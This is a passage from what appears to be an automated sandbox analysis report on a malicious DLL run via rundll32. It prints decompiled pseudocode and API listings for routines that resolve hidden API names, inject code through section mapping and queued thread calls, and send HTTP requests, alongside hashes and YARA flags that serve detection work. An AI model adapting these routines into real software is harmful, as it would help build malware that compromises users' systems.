							E04AB4C73(_t36);
							_t36 = _t42;
						}
						_t43 = E04AB72E7(_t36, _t33);
						if(_t43 != 0) {
							E04AB4C73(_t36);
							_t36 = _t43;
						}
					}
					E04AB4C73(_t28);
				}
				return _t36;
			}
















                                            0x04ab3739
                                            0x04ab373c
                                            0x04ab373d
                                            0x04ab3744
                                            0x04ab374b
                                            0x04ab3752
                                            0x04ab3756
                                            0x04ab375d
                                            0x04ab3764
                                            0x04ab3769
                                            0x04ab377b
                                            0x04ab377f
                                            0x04ab3783
                                            0x04ab3789
                                            0x04ab378e
                                            0x04ab3798
                                            0x04ab379e
                                            0x04ab37a0
                                            0x04ab37b7
                                            0x04ab37bb
                                            0x04ab37be
                                            0x04ab37c3
                                            0x04ab37c3
                                            0x04ab37cc
                                            0x04ab37d0
                                            0x04ab37d3
                                            0x04ab37d8
                                            0x04ab37d8
                                            0x04ab37d0
                                            0x04ab37db
                                            0x04ab37e0
                                            0x04ab37e6

                                            APIs
                                              • Part of subcall function 04AB403D: lstrlen.KERNEL32(00000000,00000000,00000000,742CC740,?,?,?,04AB3752,253D7325,00000000,742CC740,?,?,04AB653D,?,056295B0), ref: 04AB40A4
                                              • Part of subcall function 04AB403D: sprintf.NTDLL ref: 04AB40C5
                                            • lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,742CC740,?,?,04AB653D,?,056295B0), ref: 04AB3764
                                            • lstrlen.KERNEL32(?,?,?,04AB653D,?,056295B0), ref: 04AB376C
                                              • Part of subcall function 04AB4DF6: RtlAllocateHeap.NTDLL(00000000,00000000,04AB5522), ref: 04AB4E02
                                            • strcpy.NTDLL ref: 04AB3783
                                            • lstrcat.KERNEL32(00000000,?), ref: 04AB378E
                                              • Part of subcall function 04AB723B: lstrlen.KERNEL32(?,?,?,00000000,?,04AB379D,00000000,?,?,?,04AB653D,?,056295B0), ref: 04AB724C
                                              • Part of subcall function 04AB4C73: RtlFreeHeap.NTDLL(00000000,00000000,04AB55C4,00000000,?,?,00000000), ref: 04AB4C7F
                                            • StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,04AB653D,?,056295B0), ref: 04AB37AB
                                              • Part of subcall function 04AB20D2: lstrlen.KERNEL32(?,00000000,00000000,00000000,?,04AB37B7,00000000,?,?,04AB653D,?,056295B0), ref: 04AB20DC
                                              • Part of subcall function 04AB20D2: _snprintf.NTDLL ref: 04AB213A
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
                                            • String ID: =
                                            • API String ID: 2864389247-1428090586
                                            • Opcode ID: 84d17957b87c37eebf680ab507141b85aef35ebd35c9eff3e0c438912d92dcfb
                                            • Instruction ID: 6df771bc609bc1ff8b07ed05a75bce77470a6c19a63a7b08554b4ea78e4eb689
                                            • Opcode Fuzzy Hash: 84d17957b87c37eebf680ab507141b85aef35ebd35c9eff3e0c438912d92dcfb
                                            • Instruction Fuzzy Hash: 271129B3A01524376B12BBB89D84CEF36ACAF9DA587050112FD409B213DF78ED0287E0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD4345 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleHandleA.KERNEL32(?,?,69B25F44,69B25F44,?,05DE5886,00000000,00000000,69B25F44,00000000,?,?,05DD335A,?,00000000,?), ref: 05DD4366
                                            • GetProcAddress.KERNEL32(00000000,?), ref: 05DD437F
                                            • OpenProcess.KERNEL32(00000400,00000000,69B25F44,?,69B25F44,69B25F44,?,05DE5886,00000000,00000000,69B25F44,00000000,?,?,05DD335A,?), ref: 05DD439C
                                            • IsWow64Process.KERNEL32(?,00000000,?,69B25F44,69B25F44,?,05DE5886,00000000,00000000,69B25F44,00000000,?,?,05DD335A,?,00000000), ref: 05DD43AD
                                            • FindCloseChangeNotification.KERNEL32(?,?,05DE5886,00000000,00000000,69B25F44,00000000,?,?,05DD335A,?,00000000,?), ref: 05DD43C0
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Process$AddressChangeCloseFindHandleModuleNotificationOpenProcWow64
                                            • String ID: PWv
                                            • API String ID: 1712524627-2674677296
                                            • Opcode ID: a6e8ad4bd8ed7bf0abf046bb33fdd4054a78f1fc1c53b1826378cb972a5de4a8
                                            • Instruction ID: 38ee93b0f2876a9d10e662016563a6038eee854bb93c1bafde3671fdc0d3f3ff
                                            • Opcode Fuzzy Hash: a6e8ad4bd8ed7bf0abf046bb33fdd4054a78f1fc1c53b1826378cb972a5de4a8
                                            • Instruction Fuzzy Hash: 13016D71851214EFDF11DF5CD80AAAEBFA8FB843517188227F806D7300EB715A41CB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB3C00 Relevance: 9.1, APIs: 6, Instructions: 126memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 04AB1162: IUnknown_QueryService.SHLWAPI(00000000,4C96BE40,056289D8,04AB3C2E,?,?,?,?,?,?,?,?,?,?,?,04AB3C2E), ref: 04AB122F
                                              • Part of subcall function 04AB6615: IUnknown_QueryInterface_Proxy.RPCRT4(?,E7A1AF80,?), ref: 04AB6652
                                              • Part of subcall function 04AB6615: IUnknown_QueryInterface_Proxy.RPCRT4(?,A4C6892C,?), ref: 04AB6683
                                            • SysAllocString.OLEAUT32(00000000), ref: 04AB3C5A
                                            • SysAllocString.OLEAUT32(0070006F), ref: 04AB3C6E
                                            • SysAllocString.OLEAUT32(00000000), ref: 04AB3C80
                                            • SysFreeString.OLEAUT32(00000000), ref: 04AB3CE8
                                            • SysFreeString.OLEAUT32(00000000), ref: 04AB3CF7
                                            • SysFreeString.OLEAUT32(00000000), ref: 04AB3D02
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: String$AllocFreeQueryUnknown_$Interface_Proxy$Service
                                            • String ID:
                                            • API String ID: 2831207796-0
                                            • Opcode ID: 78823640c568c1b164e34392e32d7265841c713e8d2ad84fe7e5ca7dcda80ced
                                            • Instruction ID: 57ac3516e54435ab6ccfd456b674e8441246d952a176271ba0fe9909bc6ae082
                                            • Opcode Fuzzy Hash: 78823640c568c1b164e34392e32d7265841c713e8d2ad84fe7e5ca7dcda80ced
                                            • Instruction Fuzzy Hash: 9E412E36900A09AFDF02DFF8D944ADFB7BAAF49300F144425EE54EB121DA71AD15CB91
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDF6D8 Relevance: 9.1, APIs: 6, Instructions: 125threadsynchronizationinjectionCOMMON
                                            Download Yara Rule
                                            APIs
                                            • memset.NTDLL ref: 05DDF6FB
                                              • Part of subcall function 05DD4345: GetModuleHandleA.KERNEL32(?,?,69B25F44,69B25F44,?,05DE5886,00000000,00000000,69B25F44,00000000,?,?,05DD335A,?,00000000,?), ref: 05DD4366
                                              • Part of subcall function 05DD4345: GetProcAddress.KERNEL32(00000000,?), ref: 05DD437F
                                              • Part of subcall function 05DD4345: OpenProcess.KERNEL32(00000400,00000000,69B25F44,?,69B25F44,69B25F44,?,05DE5886,00000000,00000000,69B25F44,00000000,?,?,05DD335A,?), ref: 05DD439C
                                              • Part of subcall function 05DD4345: IsWow64Process.KERNEL32(?,00000000,?,69B25F44,69B25F44,?,05DE5886,00000000,00000000,69B25F44,00000000,?,?,05DD335A,?,00000000), ref: 05DD43AD
                                              • Part of subcall function 05DD4345: FindCloseChangeNotification.KERNEL32(?,?,05DE5886,00000000,00000000,69B25F44,00000000,?,?,05DD335A,?,00000000,?), ref: 05DD43C0
                                            • ResumeThread.KERNEL32(?,?,00000000,CCCCFEEB,?,00000000,00000000,00000004,?,00000000,00000000,76EC4EE0,00000000), ref: 05DDF7B5
                                            • WaitForSingleObject.KERNEL32(00000064), ref: 05DDF7C3
                                            • SuspendThread.KERNEL32(?), ref: 05DDF7D6
                                              • Part of subcall function 05DDCF88: memset.NTDLL ref: 05DDD252
                                            • ResumeThread.KERNEL32(?), ref: 05DDF859
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Thread$ProcessResumememset$AddressChangeCloseFindHandleModuleNotificationObjectOpenProcSingleSuspendWaitWow64
                                            • String ID:
                                            • API String ID: 2397206891-0
                                            • Opcode ID: e2ab13f35f3df26a2b8b1246fbb8b8e6149e96a9fd13be8d742898ccd143b7f0
                                            • Instruction ID: 29507ae93bb10256621501e24516f9c1539539462f0a6db2d332a61b0e83ec32
                                            • Opcode Fuzzy Hash: e2ab13f35f3df26a2b8b1246fbb8b8e6149e96a9fd13be8d742898ccd143b7f0
                                            • Instruction Fuzzy Hash: 47416EB1A0024ABBDF119F64CC88EEEBBBAFF04340F144466F91696250D735DA91CB72
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEFAF2 Relevance: 9.1, APIs: 6, Instructions: 109memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetLastError.KERNEL32(00000000,?,?,?,00000000,05DF50B8,00000018,05DD309A,00000000,?,?,?,?,00000000), ref: 05DEFB35
                                            • VirtualProtect.KERNEL32(00000000,00000004,00000000,00000000,00000000,00000004,00000000,?,00000000,?,?,?,00000000,05DF50B8,00000018,05DD309A), ref: 05DEFBC0
                                            • RtlEnterCriticalSection.NTDLL(05DF9420), ref: 05DEFBE9
                                            • RtlLeaveCriticalSection.NTDLL(05DF9420), ref: 05DEFC07
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CriticalSection$EnterErrorLastLeaveProtectVirtual
                                            • String ID:
                                            • API String ID: 3666628472-0
                                            • Opcode ID: 3d4e01997496539a2e44455d81c23531cae28e38e24581965dc9c62c14480df8
                                            • Instruction ID: f51d66f5aff3d7eed5cc94878f5f19119cdc47fc9201ea22e8052a2b44bb119b
                                            • Opcode Fuzzy Hash: 3d4e01997496539a2e44455d81c23531cae28e38e24581965dc9c62c14480df8
                                            • Instruction Fuzzy Hash: 08413C71A10606EFCB11EF65C884AAEBBF5FF58310B10851BE916E7210D774EA91CFA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE46C8 Relevance: 9.1, APIs: 6, Instructions: 81libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • GetModuleHandleA.KERNEL32(?,00000020,?,00008664,00001003,?,?,?,05DDD0A2,?,?,?,00000000,00000000), ref: 05DE46ED
                                            • GetProcAddress.KERNEL32(00000000,?), ref: 05DE470F
                                            • GetProcAddress.KERNEL32(00000000,?), ref: 05DE4725
                                            • GetProcAddress.KERNEL32(00000000,?), ref: 05DE473B
                                            • GetProcAddress.KERNEL32(00000000,?), ref: 05DE4751
                                            • GetProcAddress.KERNEL32(00000000,?), ref: 05DE4767
                                              • Part of subcall function 05DDDDDD: NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,76EC4EE0,00000000,00000000), ref: 05DDDE3A
                                              • Part of subcall function 05DDDDDD: memset.NTDLL ref: 05DDDE5E
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressProc$AllocateCreateHandleHeapModuleSectionmemset
                                            • String ID:
                                            • API String ID: 3012371009-0
                                            • Opcode ID: 7fb2dd852524e94cb7b8d3011b4204f2d860b90affce5e7b84b8527624bd626b
                                            • Instruction ID: 8e2e8cd14ef890aa6daaa14dc1c6dc6471a4262d16ceaa92d0da8c26ad3fc30d
                                            • Opcode Fuzzy Hash: 7fb2dd852524e94cb7b8d3011b4204f2d860b90affce5e7b84b8527624bd626b
                                            • Instruction Fuzzy Hash: B8213DB561170AAFEF10EFA9C848E5ABBEDEF152147014467F549CB310EB71E9048FA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB74E0 Relevance: 9.1, APIs: 6, Instructions: 81libraryloaderCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB74E0(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E04AB4DF6(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x4aba348; // 0xb6d5a8
					_t1 = _t23 + 0x4abb11a; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x4aba348; // 0xb6d5a8
					_t2 = _t26 + 0x4abb769; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E04AB4C73(_t54);
					} else {
						_t30 =  *0x4aba348; // 0xb6d5a8
						_t5 = _t30 + 0x4abb756; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x4aba348; // 0xb6d5a8
							_t7 = _t33 + 0x4abb40b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x4aba348; // 0xb6d5a8
								_t9 = _t36 + 0x4abb4d2; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x4aba348; // 0xb6d5a8
									_t11 = _t39 + 0x4abb779; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E04AB25D7(_t54, _a8); // executed
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}


















                                            0x04ab74ef
                                            0x04ab74f3
                                            0x04ab75b5
                                            0x04ab74f9
                                            0x04ab74f9
                                            0x04ab74fe
                                            0x04ab7511
                                            0x04ab7513
                                            0x04ab7518
                                            0x04ab7520
                                            0x04ab7527
                                            0x04ab7529
                                            0x04ab752e
                                            0x04ab75ad
                                            0x04ab75ae
                                            0x04ab7530
                                            0x04ab7530
                                            0x04ab7535
                                            0x04ab753d
                                            0x04ab753f
                                            0x04ab7544
                                            0x00000000
                                            0x04ab7546
                                            0x04ab7546
                                            0x04ab754b
                                            0x04ab7553
                                            0x04ab7555
                                            0x04ab755a
                                            0x00000000
                                            0x04ab755c
                                            0x04ab755c
                                            0x04ab7561
                                            0x04ab7569
                                            0x04ab756b
                                            0x04ab7570
                                            0x00000000
                                            0x04ab7572
                                            0x04ab7572
                                            0x04ab7577
                                            0x04ab757f
                                            0x04ab7581
                                            0x04ab7586
                                            0x00000000
                                            0x04ab7588
                                            0x04ab758e
                                            0x04ab7593
                                            0x04ab759a
                                            0x04ab759f
                                            0x04ab75a4
                                            0x00000000
                                            0x04ab75a6
                                            0x04ab75a9
                                            0x04ab75a9
                                            0x04ab75a4
                                            0x04ab7586
                                            0x04ab7570
                                            0x04ab755a
                                            0x04ab7544
                                            0x04ab752e
                                            0x04ab75c3

                                            APIs
                                              • Part of subcall function 04AB4DF6: RtlAllocateHeap.NTDLL(00000000,00000000,04AB5522), ref: 04AB4E02
                                            • GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,04AB23A0,?,?,?,?,00000000,00000000), ref: 04AB7505
                                            • GetProcAddress.KERNEL32(00000000,7243775A), ref: 04AB7527
                                            • GetProcAddress.KERNEL32(00000000,614D775A), ref: 04AB753D
                                            • GetProcAddress.KERNEL32(00000000,6E55775A), ref: 04AB7553
                                            • GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 04AB7569
                                            • GetProcAddress.KERNEL32(00000000,6C43775A), ref: 04AB757F
                                              • Part of subcall function 04AB25D7: NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,76EC4EE0,00000000,00000000,04AB759F), ref: 04AB2634
                                              • Part of subcall function 04AB25D7: memset.NTDLL ref: 04AB2656
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: AddressProc$AllocateCreateHandleHeapModuleSectionmemset
                                            • String ID:
                                            • API String ID: 3012371009-0
                                            • Opcode ID: 1705a75d741081768bfaa08bde2efe6d615865a9a7341a571134e0fef891cef3
                                            • Instruction ID: 877dc8c3dea033f325f5d04ec7aec292177d3fec62f9f062be272432308695e3
                                            • Opcode Fuzzy Hash: 1705a75d741081768bfaa08bde2efe6d615865a9a7341a571134e0fef891cef3
                                            • Instruction Fuzzy Hash: 0C212EB560070AAFE711DF69C844E9AB7FCEF587047008125E955C7223EB74F9058BE0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB4BD6 Relevance: 9.0, APIs: 6, Instructions: 45networkCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB4BD6(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0) {
					_t9 = E04AB5296(__eax + 4, _t18, _a4, __eax, __eax + 4); // executed
					if(_t9 == 0) {
						L9:
						return GetLastError();
					}
				}
				_t10 = E04AB7A71(_t9, _t18, _t22, _a8); // executed
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					if(HttpSendRequestA( *(_t22 + 0x18), 0, 0xffffffff, 0, 0) != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}







                                            0x04ab4bd6
                                            0x04ab4be3
                                            0x04ab4be5
                                            0x04ab4bf0
                                            0x04ab4bf7
                                            0x04ab4c48
                                            0x00000000
                                            0x04ab4c48
                                            0x04ab4bf7
                                            0x04ab4bfd
                                            0x04ab4c04
                                            0x04ab4c10
                                            0x04ab4c15
                                            0x04ab4c2b
                                            0x04ab4c3b
                                            0x00000000
                                            0x04ab4c2d
                                            0x04ab4c2d
                                            0x04ab4c34
                                            0x04ab4c41
                                            0x04ab4c41
                                            0x04ab4c41
                                            0x04ab4c34
                                            0x04ab4c2b
                                            0x04ab4c46
                                            0x00000000
                                            0x00000000
                                            0x04ab4c4c

                                            APIs
                                            • ResetEvent.KERNEL32(?,00000008,?,?,00000102,04AB5388,?,?,00000000,00000000), ref: 04AB4C10
                                            • ResetEvent.KERNEL32(?), ref: 04AB4C15
                                            • HttpSendRequestA.WININET(?,00000000,000000FF,00000000,00000000), ref: 04AB4C22
                                            • GetLastError.KERNEL32 ref: 04AB4C2D
                                            • GetLastError.KERNEL32(?,?,00000102,04AB5388,?,?,00000000,00000000), ref: 04AB4C48
                                              • Part of subcall function 04AB5296: lstrlen.KERNEL32(00000000,00000008,?,76EC4D40,?,?,04AB4BF5,?,?,?,?,00000102,04AB5388,?,?,00000000), ref: 04AB52A2
                                              • Part of subcall function 04AB5296: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,04AB4BF5,?,?,?,?,00000102,04AB5388,?), ref: 04AB5300
                                              • Part of subcall function 04AB5296: lstrcpy.KERNEL32(00000000,00000000), ref: 04AB5310
                                            • SetEvent.KERNEL32(?), ref: 04AB4C3B
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: Event$ErrorLastReset$HttpRequestSendlstrcpylstrlenmemcpy
                                            • String ID:
                                            • API String ID: 3739416942-0
                                            • Opcode ID: ada63c319b094ccab0e651dfbc7b98ff39f686d88cb1291c3c0872a8817ce580
                                            • Instruction ID: 4aab010e0a1f0410c6313e92deb9c9562fd00f6842fc45baaa37a4f8ad136bde
                                            • Opcode Fuzzy Hash: ada63c319b094ccab0e651dfbc7b98ff39f686d88cb1291c3c0872a8817ce580
                                            • Instruction Fuzzy Hash: B501A231100600AAEB316F21DE44F9B76ACFF99725F100724F591920F3D720F805D6A0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE6B34 Relevance: 9.0, APIs: 6, Instructions: 32threadinjectionCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,05DDA82F), ref: 05DE6B4B
                                            • QueueUserAPC.KERNEL32(00000000,00000000,?,?,?,05DD1B71,05DD7E45,00000057,00000000), ref: 05DE6B60
                                            • GetLastError.KERNEL32(00000000,?,?,05DD1B71,05DD7E45,00000057,00000000), ref: 05DE6B6B
                                            • TerminateThread.KERNEL32(00000000,00000000,?,?,05DD1B71,05DD7E45,00000057,00000000), ref: 05DE6B75
                                            • CloseHandle.KERNEL32(00000000,?,?,05DD1B71,05DD7E45,00000057,00000000), ref: 05DE6B7C
                                            • SetLastError.KERNEL32(00000000,?,?,05DD1B71,05DD7E45,00000057,00000000), ref: 05DE6B85
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
                                            • String ID:
                                            • API String ID: 3832013932-0
                                            • Opcode ID: f33a64bccd40a42faadd07887bf9aedd61767c93470aea2039e0a574433d585e
                                            • Instruction ID: e3c9bad47786ab4e1932504fc831f60117d01e487d585085462d6775c390931a
                                            • Opcode Fuzzy Hash: f33a64bccd40a42faadd07887bf9aedd61767c93470aea2039e0a574433d585e
                                            • Instruction Fuzzy Hash: 77F01C32216220BFDB226BA8BC0AF5BBF69FB59762F014416FA0596250DB218950CB95
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB6E20 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 167stringCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 88%
                                            			E04AB6E20(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t59;
				intOrPtr* _t60;
				void* _t62;
				intOrPtr _t64;
				char _t65;
				void* _t67;
				intOrPtr _t68;
				intOrPtr _t69;
				intOrPtr _t71;
				void* _t73;
				signed int _t81;
				void* _t91;
				void* _t92;
				char _t98;
				signed int* _t100;
				intOrPtr* _t101;
				void* _t102;

				_t92 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t98 = _a16;
				if(_t98 == 0) {
					__imp__( &_v284,  *0x4aba3dc);
					_t91 = 0x80000002;
					L6:
					_t59 = E04AB4208( &_v284,  &_v284);
					_a8 = _t59;
					if(_t59 == 0) {
						_v8 = 8;
						L29:
						_t60 = _a20;
						if(_t60 != 0) {
							 *_t60 =  *_t60 + 1;
						}
						return _v8;
					}
					_t101 = _a24;
					_t62 = E04AB3DCA(_t92, _t97, _t101, _t91, _t59); // executed
					if(_t62 != 0) {
						L27:
						E04AB4C73(_a8);
						goto L29;
					}
					_t64 =  *0x4aba318; // 0x5629da0
					_t16 = _t64 + 0xc; // 0x5629ec2
					_t65 = E04AB4208(_t64,  *_t16);
					_a24 = _t65;
					if(_t65 == 0) {
						L14:
						_t29 = _t101 + 0x14; // 0x102
						_t33 = _t101 + 0x10; // 0x3d04ab90, executed
						_t67 = E04AB4C88(_t97,  *_t33, _t91, _a8,  *0x4aba3d4,  *((intOrPtr*)( *_t29 + 0x28)),  *((intOrPtr*)( *_t29 + 0x2c))); // executed
						if(_t67 == 0) {
							_t68 =  *0x4aba348; // 0xb6d5a8
							if(_t98 == 0) {
								_t35 = _t68 + 0x4abba3f; // 0x4d4c4b48
								_t69 = _t35;
							} else {
								_t34 = _t68 + 0x4abb8e7; // 0x55434b48
								_t69 = _t34;
							}
							if(E04AB26E7(_t69,  *0x4aba3d4,  *0x4aba3d8,  &_a24,  &_a16) == 0) {
								if(_t98 == 0) {
									_t71 =  *0x4aba348; // 0xb6d5a8
									_t44 = _t71 + 0x4abb846; // 0x74666f53
									_t73 = E04AB4208(_t44, _t44);
									_t99 = _t73;
									if(_t73 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t101 + 0x10; // 0x3d04ab90
										E04AB3B76( *_t47, _t91, _a8,  *0x4aba3d8, _a24);
										_t49 = _t101 + 0x10; // 0x3d04ab90
										E04AB3B76( *_t49, _t91, _t99,  *0x4aba3d0, _a16);
										E04AB4C73(_t99);
									}
								} else {
									_t40 = _t101 + 0x10; // 0x3d04ab90, executed
									E04AB3B76( *_t40, _t91, _a8,  *0x4aba3d8, _a24); // executed
									_t43 = _t101 + 0x10; // 0x3d04ab90
									E04AB3B76( *_t43, _t91, _a8,  *0x4aba3d0, _a16);
								}
								if( *_t101 != 0) {
									E04AB4C73(_a24);
								} else {
									 *_t101 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t101 + 0x10; // 0x3d04ab90, executed
					_t81 = E04AB4E0B( *_t21, _t91, _a8, _t65,  &_v16,  &_v12); // executed
					if(_t81 == 0) {
						_t100 = _v16;
						if(_v12 == 0x28) {
							 *_t100 =  *_t100 & _t81;
							_t26 = _t101 + 0x10; // 0x3d04ab90
							E04AB4C88(_t97,  *_t26, _t91, _a8, _a24, _t100, 0x28);
						}
